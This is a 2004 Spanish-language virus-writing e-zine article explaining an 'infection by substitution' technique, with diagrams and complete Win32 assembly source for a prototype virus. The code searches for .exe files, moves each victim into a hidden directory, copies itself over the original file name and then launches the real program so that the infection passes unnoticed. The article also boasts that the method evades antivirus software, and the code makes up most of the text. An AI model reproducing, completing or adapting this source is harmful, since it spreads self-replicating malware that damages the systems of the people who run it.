(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Infeccion Mediante Suplantacion de Archivos Autor : 3sk0rbut0 Válido para : ASM INDICE: 1 .................................. INTRODUCCION. 2 .................................. TEORIA. 3 .................................. VENTAJAS Y DESVENTAJAS. 4 .................................. CODIFICANDO (Rutina principal). 5 .................................. RUTINAS. 5.1 .............................. RUTINA CrearDirectorio. 5.2 .............................. RUTINA ObtenerMisDatos. 5.3 .............................. RUTINA MoverHost. 5.4 .............................. RUTINA Suplantar. 5.5 .............................. RUTINA EjecutarHost. 5.6 .............................. RUTINA CopiarCadena. 6 .................................. DESPEDIDA. 1) INTRODUCCION ------------ Aquí expongo una forma de infección que es aplicable a cualquier lenguaje de pro- gramación que permita la obtención de la línea de comandos como lo es el caso de Visual Basic con su App.path y App.exename, este articulo esta orientado hacia el lenguaje ensamblador para win32 con la herramienta Turbo Assembler 5.0 2) TEORIA ------ Para lograr una "Infección" nos basaremos en acciones tan sencillas que es posi- ble realizaras a mano, como por ejemplo mover, renombrar y copiar archivos, y otras no tan sencillas como las anteriores pero no por esto mas complejas. Bueno, si un virus va a infectar archivos mediante suplantación entonces deberá realizar lo siguiente: FIG 1. Directorio para almacenar los programas originales _________________________________________________ | | ___________ ___________ _______V_________ | | | | | | | VIRUS | | CALC.EXE | | VACIO | |Suplantador| | | | | |___________| |___________| |_________________| En esta figura tenemos al VIRUS, un programa víctima que en este caso es la cal- culadora de windows y un directorio que creará el virus para almacenar los pro- gramas originales que al comienzo está vacío. FIG 2. Directorio para almacenar los programas originales _________________________________________________ | | ___________ ___________ _______V_________ | | | | | | | VIRUS | | CALC.EXE | | CALC.KKK | |Suplantador| | | | | |___________| |___________| |_________________| En esta figura vemos como queda el asunto una vez ejecutado el virus: Cuando el virus es ejecutado toma el archivo CALC.EXE y lo mueve al directorio para almacenar los programas originales, una vez que ha movido el archivo le cambia la extensión a KKK Después de lo hecho en el paso anterior, el virus se copiará al directorio donde residía la CALC.EXE original con el mismo nombre de esta. Esta copia el virus la efectuara mediante la api CopyFile en conjunto con la api GetCommandLine ya que para el programador es imposible adivinar en que directorio se encontrara y que nombre tendrá el virus al momento de copiarse. FIG 3. Primero el virus infectara los programas que encuentre ______________________________________________________ | | | Directorio para almacenar los programas originales | __________________________________________________ | | | | ___________ V _______V_________ | |----> PROGA.EXE | | | CALC.EXE |----> PROGB.EXE ---->| CALC.KKK | | |----> PROGN.EXE | | | |___________| | |_________________| | | |_________________________| A | | Una vez que infecta los programas, el virus procederá a ejecutar el programa original En esta figura vemos que cuando el usuario ejecuta la CALC.EXE (que en realidad es el virus) esta toma el control e infecta los programas que logre encontrar y una vez hecho esto procederá a ejecutar la verdadera CALC que es la que esta en el directorio para almacenar los programas originales y cuya extensión es KKK, de este modo todo el proceso de infección pasa inadvertido. Si bien es conveniente cambiar la extensión del programa víctima al momento de moverlo al directorio para almacenar los programas originales, no lo haré en el código que expongo mas abajo, debido a que no es prioridad en este artículo, ya que el código se trata solo de un prototipo codificado para llevar a la practica el tipo de infección por suplantación. 3) VENTAJAS Y DESVENTAJAS ---------------------- En este tipo de infección como todo en la vida existen ventajas y desventajas de las cuales las mas notorias son: VENTAJAS: - Una vez entendida la técnica es de fácil implementación en cualquier lenguaje de programación siempre y cuando el lenguaje lo permita, ya que hay lenguajes que no tienen funciones para obtener la línea de comandos completa como por ejemplo QBASIC - Un virus con este tipo de infección pasará desapercibido ante cualquier maldito antivirus ya que esta técnica no necesariamente necesita hacer modi- ficaciones sobre los archivos e implementa funciones que pueden estar en cualquier programa. - Un virus con este tipo de infección es de fácil eliminación del sistema, ya que solo suplanta archivos lo que implica 0 dolor de cabezas al momento de probar el virus en su fase de programación. DESVENTAJAS: - Como el virus suplanta, los archivos suplantados por lógica tomaran el icono del programa virus, si bien esto tiene solución, es imposible o extremadamen- te difícil aplicarla en lenguajes de alto nivel. - El proceso de infección es lento en comparación con otros métodos de infec- ción, ya que mover, copiar y renombrar un archivo toma su tiempo. 4) CODIFICANDO ----------- Este programa funcionará mediante un ciclo principal controlado por FindFirstFile y FindNextFile. Vamos con el código: .386 .model flat ;------------------------------------ Funciones apis que utilizaremos extrn CreateDirectoryA :proc ;Función para crear directorios extrn GetCommandLineA :proc ;Función para obtener la línea de comandos extrn FindFirstFileA :proc ;Función para iniciar búsqueda de archivos extrn FindNextFileA :proc ;Función para continuar búsqueda de archivos extrn lstrcat :proc ;Función para concatenar cadenas extrn CopyFileA :proc ;Función para copiar archivos extrn MoveFileA :proc ;Función para mover archivos extrn WinExec :proc ;Función para ejecutar programas extrn ExitProcess :proc ;Función para terminar programa ;------------------------------------ jumps .data ; -------------------------- Estructura de datos para FindFirstFile/FindNextFile. FILETIME struc ; Esta estructura se ira llenando con datos conforme FT_dwLowDateTime dd ? ; vamos llamando a las apis FindFirstFile/FindNextFile FT_dwHighDateTime dd ? ; Esta estructura la utilizaremos siempre que queramos FILETIME ends ; utilizar FindFirstFile/FindNextFile. Max_Path equ 260 WIN32_FIND_DATA: WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db Max_Path dup (?) WFD_szAlternateFileName db 13 dup (?) ;-------------------------- Datos para FindFirstFile/FindNextFile Extension db '*.exe',0 ; Extensión de los archivos que vamos a buscar HandleBusqueda dd 0 ; Variable donde guardo el handle devuelto ; por FindFirstFile ;-------------------------- Otros datos HostDir db 'c:\windows\escritorio\HOSTDIR',0 ; Constante (directorio a crear) MiCmdLine db Max_Path dup (?) ; Variable donde guardaré la línea de comandos ; de este programa MiNombre db Max_Path dup (?) ; Variable donde guardaré el nombre de este prog. MiRuta db Max_Path dup (?) ; Variable donde guardaré la ruta de este prog. Cadena db Max_Path dup (?) ; Variable que usaré para trabajar con CADENAS ;##################### AQUI EMPIEZA EL CODIGO DEL PROGRAMA ##################### .code INICIO: call CrearDirectorio ;Llamamos a la rutina para crear el directorio ;en el cual almacenaremos los programas originales call ObtenerMisDatos ;Llamamos a la rutina para obtener la línea de ; comandos el nombre y la ruta de este programa. ;------------------------------------ BUSCAR PRIMER ARCHIVO FindFirst: push offset WIN32_FIND_DATA ; Apunto a la estructura de datos que ; recibirá los datos devueltos. push offset Extension ; Apunto a la extensión de archivos que ; quiero buscar. call FindFirstFileA ; Llamo a la función api. ; Si esta api devuelve FFFFFFFF entonces no ; encontró archivos por lo cual... inc eax ; Si el valor devuelto es FFFFFFFF + 1 es = 0 ; entonces hubo error jz FIN ; Si eax = 0 no se encontraron archivos dec eax ; De lo contrario eax es un handle y lo ; dejamos eax como estaba mov HandleBusqueda,eax ; Guardo el handle para utilizarlo con ; FindNextFile ;------------------------------------ Proceso: mov eax,dword ptr [offset WFD_nFileSizeLow] ; Esta es una simple ; comprobación para asegurarnos de no cmp eax,00001000h ; estarnos suplantando a nosotros mismos je BuscarSiguiente ; si el WFD_nFileSizeLow de el archivo ; encontrado es = a 00001000h entonces se ; trata de una copia nuestra ya que el ; WFD_nFileSizeLow de este programa es 1000h, ; por lo cual vamos a buscar el siguiente ; archivo. call MoverHost ; Llamo a la rutina para mover el archivo ; encontrado al directorio donde guardo ; los programas originales. call Suplantar ; Llamo a la rutina para suplantar el archivo ; encontrado. ;------------------------------------ BUSCAR SIGUIENTE ARCHIVO BuscarSiguiente: push offset WIN32_FIND_DATA ; Apunto a la estructura de datos que ; recibirá los datos devueltos. push HandleBusqueda ; Apunto al handle devuelto por FindFirstFile call FindNextFileA ; Llamo a la función api. cmp eax,0 ; Si la función no encuentra mas ; archivos EAX = 0 jne Proceso ; Y si eax no es 0 entonces saltamos a ; proceso para suplantar el archivo ; De lo contrario este salto no se ejecutará ; y se ejecutara el código que sigue. ;------------------------------------ FIN: call EjecutarHost ; Rutina para ejecutar el programa original call ExitProcess ; Función para finalizar este programa ;##################### AQUI FINALIZA EL CODIGO DEL PROGRAMA ##################### 5) RUTINAS ------- Aquí están las rutinas que forman parte del ciclo principál. 5.1 RUTINA CrearDirectorio ---------------------- Con esta rutina creamos el directorio para almacenar los programas originales. CrearDirectorio proc push 0 ; NULL push offset HostDir ; Apunto a la constante que tiene la ruta ; del directorio que crearé. call CreateDirectoryA ; Llamo a la función api. ret ; Retornar del call CrearDirectorio endp 5.2 RUTINA ObtenerMisDatos ---------------------- Con esta rutina obtenemos la línea de comandos, el nombre, y la ruta de este programa. ObtenerMisDatos proc ; CON ESTE CÓDIGO VOY A OBTENER LA LINEA DE ; COMANDOS DE ESTE PROGRAMA. call GetCommandLineA ; Llamo a la función para obtener la línea ; de comandos cmp byte ptr [eax],'"' ; Por razones de comodidad al depurar, si el ; primer byte de la CmdLine es '"' jne ok ; Entonces estamos depurando y salto a ok inc eax ; De lo contrario elimino la primera comilla xor ecx,ecx ; ECX = 0 , será un registro contador. dec ecx ; lo dejo en -1 Comilla: inc ecx ; lo dejo en 0 incrementándolo cmp byte ptr [eax+ecx],'"' ; inicio la búsqueda de la maldita ; comilla comparando byte por byte jne Comilla ; si aun no la pillo voy por el otro byte mov byte ptr [eax+ecx],0 ; si la encontré entonces la mato ; cortando la cadena y ya tenemos ; la CmdLine sin las comillas. ok: mov edi,offset MiCmdLine ; Aquí copio una cadena de ECX bytes ; desde ESI hasta EDI mov esi,eax ; edi = Variable donde copio la cadena mov ecx,ecx ; esi = Cadena que estoy copiando (Línea ; de comandos) rep movsb ; ecx = Longitud de la línea de comandos ; y con rep movsb copio la cadena ;------------------------------ ; CON ESTE CÓDIGO VOY A OBTENER EL NOMBRE ; DE ESTE PROGRAMA. xor ecx,ecx ; ECX = 0 , limpio el contador dec ecx ; lo dejo en -1 FinCadena: inc ecx ; lo dejo en 0 incrementándolo cmp byte ptr [eax+ecx],0 ; Inicio la búsqueda del fin de la cadena jne FinCadena ; Todavía no?, entonces vamos por el ; siguiente byte ; Si llegamos al final entonces vamos con ; la siguiente parte. Slash: dec ecx ; decremento ecx cmp byte ptr [eax+ecx],'\' ; compari byte por byte buscando el ; primer slash de atrás hacia adelante jne Slash ; no es igual?, entonces voy por el ; siguiente byte inc ecx ; Lo encontré, entonces incremento en uno ; el contador add eax,ecx ; y en eax (CmdLine) + ecx bytes empieza ; el nombre de este programa push ecx ; ECX = el tamaño de la cadena hasta el ; slash, lo guardo en la pila mov edi,offset MiNombre ; Aquí copio una cadena de ECX bytes ; desde ESI hasta EDI mov esi,eax ; edi = Variable donde copio la cadena mov ecx,ecx ; esi = Cadena que estoy copiando (Nombre ; de este programa) rep movsb ; ecx = longitud y con rep movsb copio la ; cadena ;------------------------------- ; CON ESTE CÓDIGO VOY A OBTENER LA RUTA ; DE ESTE PROGRAMA. pop ecx ; Saco de la pila el tamaño de la CmdLine ; hasta el slash mov edi,offset MiRuta ; Aquí copio una cadena de ECX bytes ; desde ESI hasta EDI mov esi,offset MiCmdLine ; edi = Variable donde copio la cadena mov ecx,ecx ; esi = Cadena que estoy copiando (Ruta ; de este programa) rep movsb ; ecx = longitud de la cadena y con rep ; movsb copio la cadena ret ; retornar del call ObtenerMisDatos endp 5.3 RUTINA MoverHost ---------------- Con esta rutina movemos el/los programa víctima al directorio de los programas originales. MoverHost proc ; AQUI HAGO UNA COPIA DE LA CADENA ; HostDir EN EAX mov esi, offset HostDir ; Muevo a ESI la cadena HostDir call CopiarCadena ; y llamo a la función CopiarCadena que ; devuelve en EAX ; una copia de la cadena apuntada por ESI ; (Hago una copia de la cadena para que ; no se modifiquen ; las variables originales) mov edx,offset WFD_szFileName ; EDX = nombre del programa encontrado dec edx ; decremento el nombre en un byte para ; adjuntarle un slash al comienzo. mov byte ptr [edx],'\' ; le adjunto el slash. ; AQUI JUNTO LAS CADENAS HostDir + WFD_szFileName push edx ; EDX = Cadena a concatenar push eax ; EAX = Cadena donde concateno que es = a la ; copia de la cadena HostDir call lstrcat ; Llamo a la función para concatenar cadenas ; y en EAX me devuelve las cadenas HostDir+WFD_szFileName ; AQUI MUEVO EL PROGRAMA ENCONTRADO A LA ; CARPETA HostDir push eax ; EAX = Destino donde voy a mover el ; programa (HostDir+WFD_szFileName) push offset WFD_szFileName ; Nombre del programa que voy a mover ; (WFD_szFileName) call MoveFileA ; Llamo a la función para mover archivos ret ; Retorno del call MoverHost endp 5.4 RUTINA Suplantar ---------------- Con esta rutina suplantamos el programa víctima. Suplantar proc ; AQUI ME COPIO SUPLANTANDO AL PROGRAMA ORIGINAL push 0 ; Sobreescribir si existe push offset WFD_szFileName ; DESTINO (Nombre del programa original) push offset MiCmdLine ; ORIGEN (Mi linea de comandos) call CopyFileA ; llamamos a la api para copiar archivos ret ; Retorno del call Suplantar endp 5.5 RUTINA EjecutarHost -------------------- Con esta rutina ejecutamos el programa original. EjecutarHost proc ; AQUI HAGO UNA COPIA DE LA CADENA HostDir EN EAX mov esi, offset HostDir ; Muevo a ESI la cadena HostDir. call CopiarCadena ; y llamo a la función CopiarCadena que devuelve ; en EAX una copia de la cadena apuntada por ESI. mov edx,offset MiNombre ; Muevo a EDX el nombre de este programa dec edx ; Decremento el nombre en un byte para adjuntarle ; un slash al comienzo. mov byte ptr [edx],'\' ; y le adjunto el slash ; AQUI JUNTO LAS CADENAS HostDir + MiNombre push edx ; EDX = Cadena a concatenar push eax ; EAX = Cadena donde concateno que es = a la ; copia de la cadena HostDir call lstrcat ; Llamo a la función para concatenar cadenas y en ; EAX me devuelve las cadenas HostDir+MiNombre ; AQUI EJECUTO EL PROGRAMA ORIGINAL push 1 ; 1 = Ventana normal push eax ; EAX = HostDir+MiNombre que es la ruta y nombre ; del programa que voy a ejecutar call WinExec ; Llamo a la función para ejecutar programas ret ; Retorno del call EjecutarHost endp 5.6 RUTINA CopiarCadena ------------------- Con esta rutina copiamos cadenas. CopiarCadena proc ; ESI = ENTRADA (Muevo a ESI la cadena que voy a ; copiar antes de llamar a esta función) ; EAX = CADENA SALIDA (Copia de la cadena ; apuntada por ESI) push edx ; Por casualidad meto a la pila los registros que ; utiliza esta rutina push esi ; a excepcion de ESI y EAX que son los registros ; de entrada y salida respectivamente. xor edx,edx ; EDX = 0, utilizaré el byte DH de este registro ; para trabajar con bytes xor ecx,ecx ; ECX = 0, lo utilizaré como contador dec ecx ; ECX = -1 mov eax,offset Cadena ; EAX = Cadena donde haré la copia Copiar: inc ecx ; ECX = 0, ya que lo había decrementado ; anteriormente mov dh,byte ptr [esi+ecx] ; Muevo a DH un byte de la cadena de ; origen apuntada por ESI mov [eax+ecx],dh ; Y copio a EAX el byte que contiene DH cmp byte ptr [esi+ecx],0 ; Llegué al final de la cadena apuntada ; por ESI? jne Copiar ; Si no, voy a copiar el siguiente byte pop esi ; Saco de la pila los registros que ; guardé al iniciar esta rutina pop edx ; ret ; Retorno del call CopiarCadena endp 6) DESPEDIDA --------- Espero que este artículo les haya sido de su interés, bueh, un saludo a todos los escritores de virus del mundo. (C) MITOSIS #2 E-Zine/GEDZAC 2004